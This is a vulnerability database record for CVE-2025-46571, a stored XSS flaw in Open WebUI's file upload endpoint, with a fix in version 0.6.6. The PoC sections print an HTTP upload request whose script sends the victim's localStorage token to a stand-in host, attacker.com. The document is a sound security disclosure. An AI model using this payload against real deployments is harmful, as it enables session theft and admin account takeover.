{"id":"CVE-2025-46571","aliases":["GHSA-8gh5-qqh8-hq3x","PYSEC-2026-2713"],"url":"https://o3.security/vulnerability/CVE-2025-46571","summary":"Open WebUI vulnerable to limited stored XSS vila uploaded html file","details":"### Summary\nLow privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability.\n\n### Details\n\nThe following HTTP request can be sent to the backend server to upload a file with the contents:\n`<script>fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))</script>`\n\n```http\nPOST /api/v1/files/ HTTP/1.1\nHost: localhost:8080\nContent-Length: 286\nauthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm\n\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm\nContent-Disposition: form-data; name=\"file\"; filename=\"test.html\"\nContent-Type: text/html\n\n<h1>padding</h1>\n<script>fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))</script>\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm--\n```\n\nNote the `filename=\"test.html\"` , `Content-Type: text/html`, and `<h1>padding</h`> in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a `<script>` tag. \n\nThe backend server responds to the above request with JSON data that contains an `id` parameter. \n\n![image](https://github.com/user-attachments/assets/ac15e108-d385-4e58-b29a-eb79aafbffda)\n\nThis ID can be used to view the uploaded file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html`\n\nBecause of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability.\n\n### PoC\n\nFirst, upload an html containing JavaScript code to the backend server using the following HTTP request:\n```http\nPOST /api/v1/files/ HTTP/1.1\nHost: localhost:8080\nContent-Length: 286\nauthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm\n\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm\nContent-Disposition: form-data; name=\"file\"; filename=\"test.html\"\nContent-Type: text/html\n\n<h1>padding</h1>\n<script>fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))</script>\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm--\n```\n\nThen copy the `id` from the response and use it to view the file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html`\n\n\n### Impact\n\nLow privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766","published":"2025-05-05T18:45:29.718Z","modified":"2026-10-21T02:31:02.682876217Z","cvss":null,"epss":{"score":0.00353,"percentile":0.28894,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"open-webui","fixedVersion":"0.6.6"}],"fix":{"url":"https://github.com/open-webui/open-webui/commit/ef2aeb7c0eb976bac759e59ac359c94a5b8dc7e0","label":"open-webui/open-webui@ef2aeb7"},"references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/46xxx/CVE-2025-46571.json"},{"type":"ADVISORY","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-8gh5-qqh8-hq3x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-46571"},{"type":"FIX","url":"https://github.com/open-webui/open-webui/commit/ef2aeb7c0eb976bac759e59ac359c94a5b8dc7e0"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/releases/tag/v0.6.6"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:31:02.682876217Z"}}